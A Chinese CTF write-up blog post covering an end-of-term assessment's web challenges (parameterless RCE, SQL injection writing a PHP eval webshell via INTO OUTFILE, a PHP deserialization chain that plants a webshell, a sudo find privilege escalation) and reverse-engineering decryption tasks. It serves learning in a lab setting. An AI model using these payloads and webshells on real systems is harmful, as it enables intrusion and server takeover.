2025年春季学期期末考核复现

WEB

疯狂星期四

打开环境

image

大致看一下这个过滤就知道这是一题RCE再看看过滤的字符串
这个应该就是无参数RCE
这里比较常用的getallheaders被ban掉了
这里就是用session来做
session_start()开启session
session_id()获取session
这里我们要构造一个ls的session

image

这里没有看见flag就再向上一级目录看
这里要注意一i个问题PHPSESSID中不可以包含空格所以我们要进行编码
这里可以看到在数字中只有2没有被过滤
所以这里就可以联想到一个函数hex2bin()
这个会将16进制的数字转换成对应的ASCLL值
这里就可以把ls /转化一下

image

直接放到session里面

image

看见flag了直接cat

image

admin Pro Max

打开环境

image

这里可以进行一个弱口令爆破,之后会进入一个读取文件的界面

image

这里可以发现进行了302跳转,直接登录

image

这里访问之后就可以知道他是通过file来读取文件

image

这里在后面才有用
这里开始进行sql注入

image

这里进行测试的时候能发现'被过滤了
这里就需要知道一个知识点单引号逃逸
这里我们可以其实大概猜一下他后台的查询语句

select user from user where user='$_POST[username]' and password='$_POST[password]';

所以这个单引号逃逸的技巧就是我们使用\把username后面的单引号转义掉
然后他最后就变成

select user from user where user='$_POST[username]\' and password='$_POST[password]';

把转义的符号去掉理解一下

select user from user where user='$_POST[username] and password='$_POST[password]';

所以username的单引号是在passwd前面那个闭合的
这里我们尝试一下

image

发现单引号的报错了
一般来说都是三列,直接查看回显

image

这里只有2这个回显位置可以使用
爆库名

image

这里还要爆表名,正常我们遇见的比较多的爆表是

union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

但是这里是三个字段
这里就需要把from放到3后面这样这个语句才能正常执行

这里因为单引号被过滤了换双引号

-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="YUNXI_DB"#

image

爆字段

image

爆内容

image

但是这里告诉我们是假的flag

这里就要联想到我们之前弱口令爆破进去的地方,我们这里就可以写入木马来进行sql注入
然后在之前爆破进入的界面来访问这个木马
但是在我们写入木马的时候会发现

-1 union select 1,0x3c3f70687020406576616c28245f504f53545b2731275d293b3f3e,3 into outfile "/var/www/html/flag4.php"#

image

就是我们想写入的这个目录是被禁止的,这个时候我们就需要去找到可以写入目录的文件
直接无查询secure_file_priv设置值,这个方法可能可以爆出可以写入的目录

-1 union select 1,@@secure_file_priv,3#

image

把🐎些进去

-1 union select 1,0x3c3f70687020406576616c28245f504f53545b2731275d293b3f3e,3 into outfile "/var/lib/mysql-files/1.php"#

image

这里再去访问可以得到中间是没有显示出来
直接使用蚁剑连接看看
这里半天弄不了原来是因为
在写入一句话木马时候这里尝试使用16禁止好像不行
后面在师兄的点播之下
在""中间$这个符号会被转义掉我们需要转义一下这个符号

-1 union select 1,"<?php @eval(\$_POST[1]);?>",3 into outfile "/var/lib/mysql-files/10.php"#

这个时候访问,但是蚁剑连不上
直接传参

image

发现一个flag.sh访问一下

image

告诉我们flag被藏在了secret里面直接cat

image

这里来解释一下为什么要在$前面加一个转义符号
因为在sql解析器中会把$_POST解释为sql变量
这会导致语法错误最后解析
所以我们需要加一个$来防止解析错误

瓦学弟上分记

打开环境

image

只有这样的一个界面,网页源码里面也没有,直接使用dirsearch扫一下看看

image

这里看到一个.bak的备份文件
下载下来看看

点击查看代码
<?php
error_reporting(0);

function wadw_decode($str) {
    $str = base64_decode($str);
    $str = str_rot13($str);
    $str = strrev($str);
    $str = base64_decode($str);
    $str = strtr($str, 'MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/', 
                  'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');
    $str = str_rot13($str);
    $str = strrev($str);
    return base64_decode($str);
}

class Valinit {
    public $mom;
    public $think;
    protected $file;
    public $valt;

    public function __destruct() {
        $this->think = "你成功下载了瓦罗兰特,成为光荣的瓦学弟 (*∩_∩*)<br>";
        echo $this->think;
        echo $this->mom;
    }

    public function __call($name, $args) {
        echo "瓦学弟想要找妈妈,但是自己太菜了找不到妈妈 (~T-T~)<br>";
        $func = $this->mom->valstud;
        return $func();
    }

    public function __toString() {
        echo "瓦学弟原来有些基础觉得这游戏轻轻松松 (ˇ^ˇ)<br>";
        $this->Valfinal();
        return "";
    }
}

class Process {
    public $next;
    public $data;
    public $rank;
    public $test;

    public function __get($name) {
        if (md5(md5($this->data))==666) {
            $this->data = "快了快了,瓦学弟感觉自己马上就能找到妈妈了 q(@^_^@)p<br>";
            unset($this->data);
        } else {
            $this->next = "奋战百日瓦学弟发现自己的水平越来越行了 o(*^_^*)o <br>";
            echo $this->next;
            return $this->valt;
        }
    }
}

class Finalo { 
    public $val;
    private $shell;

    public function __construct() {
        $this->val = new Valinit();
    }
    
    public function __unset($name) {
        echo "瓦学弟成功的找到了妈妈 \(@^o^@)/ <br>";
        eval($this->shell);
    }
}

class Finalt {
    public $rank;
    public $file;
    public $content;

    public function __invoke() {
        echo "经过没日没夜的练枪,瓦学弟总算打到神话了 ( •̀ ω •́ )y<br>";
        if ($this->rank === "赋能") {
            echo "凭借着与生俱来的天赋,瓦学弟最终成为了赋能哥 Y(~^o^~)Y<br>";
            file_put_contents($this->file, $this->content);
        }
    }
}

if (isset($_GET['wadw'])) {
    $wadw = wadw_decode($_GET['wadw']);
    unserialize($wadw);
} else {
    echo "你也想打瓦?m(-_-)m<br>";
}

?>

开头是一个编码过程,我们需要按照这个节奏进行反编码

image

照着写一个就行了

点击查看代码
<?php
$a = 'new Finalo';
$str = serialize($a);
function decode($str)
{
    $str = base64_encode($str);
    $str = strrev($str);
    $str = str_rot13($str);
    $str = strtr($str, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
        'MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/');
    $str = base64_encode($str);
    $str = strrev($str);
    $str = str_rot13($str);
    return base64_encode($str);
}
echo $result=decode($str);

然后就是找链子

先找一下最后要用到的位置

image

在invoke()函数里可以利用到file_put_contents()来写入木马
所以我们需要调用invoke()
调用invoke()需要使用到

image

中的$func这个对象被当作函数用触发invoke()
触发call()又需要调用一个找不到的方法Valfinal()
调用这个又要输出对象使用echo或者print
又需要用到destruct()中的mom这个对象
调用destruct()的话需要在反序列化完成后会自动删除,调用这个函数
这里就可以构造链子了

点击查看代码
<?php
class Valinit {
    public $mom;
    public $think;
    protected $file;
    public $valt;
}

class Finalt {
    public $rank;
    public $file;
    public $content;
}

$a = new Finalt();
$a -> rank = "赋能";
$a -> file = '1.php';
$a -> content = "<?php @eval(\$_POST[1]);?>";

$o = new stdClass();
$o->valstud = $a; //触发__invoke()

$b = new Valinit();
$b->mom = $o; //触发__call()

$a = new Valinit();
$a->mom = $b; //触发__tostring()


function decode($str)
{
    $str = base64_encode($str);
    $str = strrev($str);
    $str = str_rot13($str);
    $str = strtr($str, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
        'MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/');
    $str = base64_encode($str);
    $str = strrev($str);
    $str = str_rot13($str);
    return base64_encode($str);
}
$str = serialize($a);
echo $result=decode($str);

然后传参

image

再访问那个马

image

直接找到flag再cat就好了

image

image

用户管理平台

这里有源码可以下载,先看看怎么个事

image

里面是一些json代码
先打开app.js看看里面是什么

image

这里面有一个TG1u的用户存在

再往下看,虽然看不太懂,在AI的帮助下,我也是知道了这个后面
有好多网页都需要管理员的身份才能访问
有好多admin的路由
image

image

师兄在提示里说了merge先去搜一下这个是什么东西
直接问没有问到,直接去app.js里面搜

图床

打开环境

image

先看眼源代码里面有没有藏东西,看来是没有
那就先直接弱口令爆破一波看看
不对,好像可以直接登录进去
随便输入了一个密码和用户名是admin

image

这里就可以上传文件了,先上传马看看

image

这里只允许上传这些
这里直接上传图片马
上传完之后才发现,没有可以利用的上面那个是file_path
dirsearch扫一下看看

image

这里发现源码,看一下

image

这里发现了TG1u这个用户,这里应该是密码
这里就是使用sha256来加密密码,这里就可以得到加密后的密码,解密就可以了
还有一个已经上传的.htaccess

这里由yxr找到了一个破解的网站
https://hashes.com/zh/decrypt/hash
直接提交

image

得到密码了
登录一下看看

这里要重新下源码来看,之前的用不了了
之前的有bug师兄修复了

这里也重新分析一波源码
可以知道之前TG1u用户上传是不受限制的但是现在被ban掉了
就全部解释一遍

.htaccess

image

这里可以知道他拒绝了所有从http请求来访问uploads目录下以.php后缀结尾的文件

index.php

image

这个就是简单的启动一个session然后调用另外两个文件

login.php

image

这个就是进行一个账户登录,特别一点的就是TG1u这个用户还使用了sha256的哈希加密,上面也说过
就不多说了
这里只对TG1u进行了限制,其他你想怎么登就怎么登,但都只是最普通的权限

upload.php

image

这里就是队文件上传做的一个限制
重点要注意一下,uploads这个文件目录里面的文件是有777限的

image

这里就是文件上传的路径

image

这里可以发现他队文件上传路径进行了限制
上传的文件路径里面不能包含有这些关键词

image

下面这里发现了文件包含,TG1u用户后缀如果不被允许会直接包含
这里也就是说TG1u用户存在文件内包含漏洞
普通的用户存在system()命令执行

image

可以使用命令分隔符来进行不同的命令执行
这里先登录普通用户看一下

image

image

cat一下看看

image

啥都没有看来是权限不够
这里还是要传马
要用到TG1u这个用户
我们之前上传过一个图片马
这里直接访问我们之前上传的马
但是我们的后缀不能被允许
这里尝试一下00截断看看可不可以

image

这里被惯性思维误导了,一直在用图片马,想要利用文件包含漏洞
因为TG1u这个部分占据了绝大多数的代码,想用TG1u来进行写马
这里其实可以直接使用普通用户来写马

image

看一下传上去没有

image

这里可以看到上传成功了

image

很奇怪之前上传的时候都不可以不知道是不是环境的问题
反正现在是可以上传了

然后再去用TG1u这个用户的文件包含漏洞

image

6识别都不识别
看下phtml

image

image

666盐都不盐了
换另外一种方法,直接使用普通用户的system()
这里可以直接使用双写绕过

这里需要提权
使用sudo -i但是好像被修了

image

之后重新开环境,终于是能传马了
z这里我们知道他需要在root用户下才能访问这个文件
这里使用到sudo指令
他是以root用户来执行之后的指令
一般来说使用sudo需要输入密码就和linux里面使用root一样的操作
还需要用到find
这个是一个搜索的命令
其后面跟着的是搜索的启始路径
-exec是find指令的动作选项用来执行命令
;标志结束
这里就可以构造出payload

?file_path=a.phtml&1=system('sudo find /flag -exec cat {} \;');

这里的{}就是一个占位符表示cat的结果在这里输出

image

RE

师兄的爱恋故事1(取证)

下载附件
先改一下后缀运行看看

image

看见这个小羽毛是pyinstaller打包的exe程序
直接使用工具解包

image

在下面发现了师兄的故事.pyg

image

反编译成python
打开看一下

image

这数量有点恐怖,使用AES脚本来解密

点击查看代码
from Crypto.Cipher import AES

# 提供的信息
AES_KEY = b' \xf3\x10\x0bA.\xfe\xd1\xb9\x16\xa2\xde\x03\xc4\xdf\x00'
AES_IV = b',\x19\xd5\xd3\xf5\xf2\xe9\xf7\xd0\xe1\x0e\x98I!J\xcd'
ENCRYPTED_PASSWORD = b'.\xd6nP\x7f@Z\xe4\xb7\xd3\xfb\x82r_/q'
# 创建AES-CBC解密器
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)

# 解密数据
decrypted = cipher.decrypt(ENCRYPTED_PASSWORD)

# 移除PKCS7填充
pad_length = decrypted[-1]
if pad_length < 1 or pad_length > AES.block_size:
    print("警告:填充值无效,可能不是PKCS7填充")
    password = decrypted
else:
    # 验证并移除填充
    if decrypted[-pad_length:] == bytes([pad_length] * pad_length):
        password = decrypted[:-pad_length]
    else:
        print("警告:PKCS7填充验证失败,尝试直接输出")
        password = decrypted

# 尝试以多种编码格式解码结果
def decode_bytes(data):
    try:
        return data.decode('utf-8'), 'utf-8'
    except UnicodeDecodeError:
        try:
            return data.decode('latin-1'), 'latin-1'
        except:
            return data, 'hex'

# 显示解密结果
result, encoding = decode_bytes(password)
print("\n" + "="*50)
print(f"密钥 (hex): {AES_KEY.hex()}")
print(f"IV (hex): {AES_IV.hex()}")
print(f"密文 (hex): {ENCRYPTED_PASSWORD.hex()}")
print("\n解密结果:")
if encoding == 'hex':
    print(f"原始字节: {password}")
    print(f"十六进制: {password.hex()}")
    print(f"Base64: {base64.b64encode(password).decode('utf-8')}")
else:
    print(f"明文密码: {result}")
    print(f"编码格式: {encoding}")
    print(f"原始字节: {password}")
print("="*50)

得到答案

image

喜欢师兄讲的课吗

下载附件
直接使用exeinfo pe分析一下

image

这里可以看出来这个是一个apk的逆向
改下后缀看看,改成zip再解压

image

使用jadx看看

image

里面是java看不懂,直接丢给AI分析一波
这里得知其中有一个加密的核心是baby_xor
这里有一个预设的数组C,输入的字符串加密之后比对,正确输出success
这个文件处于动态链接库里面,也就是so文件
把apk改成压缩包再解压一波

image

直接来找到so文件
使用ida反编译

image

这里就知道了其加密的流程
也找到了key值的加密过程,这里追踪一下这个key

image
异或之后就是初始的key值
这里在罗师傅的wp下知道这里为什么要进行一波异或不是直接先入为主

image

这里我们去追踪这个函数,会发现他进行了一波初始化
这个初始化是在程序开始的时候就已经进行了
所以我们要进行异或来得到最开始的key值

image

直接写脚本解密

点击查看代码
c = [119, 9, 40, 44, 106, 84, 113, 124, 34, 93, 122, 121, 119, 4, 120, 124, 36, 7, 127, 42, 117, 6, 112, 41, 32, 4, 112, 47, 119, 81, 123, 47, 33, 81, 40, 120, 114, 24]
key = []
hide_key = [0x47,0x32,0x11,0x12]
used_key = [0x56,0x57,0x58,0x59]
flag = ''

for i in range(4):
    key.append((hide_key[i] ^ used_key[i]))

for i in range(len(c)):
    char = c[i] ^ key[i % 4]
    flag +=chr(char)

print(flag)

image

来喽来喽

下载附件
使用小蓝盒看一下

image

改后缀解压一下

image

发现exe小蓝盒看一下

image

可以看出来是一个pyc的打包exe,解包看下

image

里面有很多文件
重点文件是d.pyc这里也是因为师兄讲过找的快
但正常来分析的化如果没有明显的特征就需要一个一个的看
这题这个d还算是比较显眼的
直接反编译

image

打开一看可以发现是一个fernet加密
这里去网上搜一下

image

看了一下,还需要密钥才能解密
这里反编译的不齐全,去网上重新找工具

image

现在全了直接找这个txt文档

image

直接去解密

image

下面这一串应该就是py源文件了
这里去trae里面方便观看

image

image

这里重点看这里,只要我们输入糖果就可以得到flag
但实际上最后的flag就是糖果这两个字符串
先进行base64编码然后进行哈希加密
这里允许一下输入糖果看看

image

这里不让复制,所以我们直接手动编码看看

image

也是一样的

posted @ 2025-07-02 17:15  crook666  阅读(69)  评论(0)    收藏  举报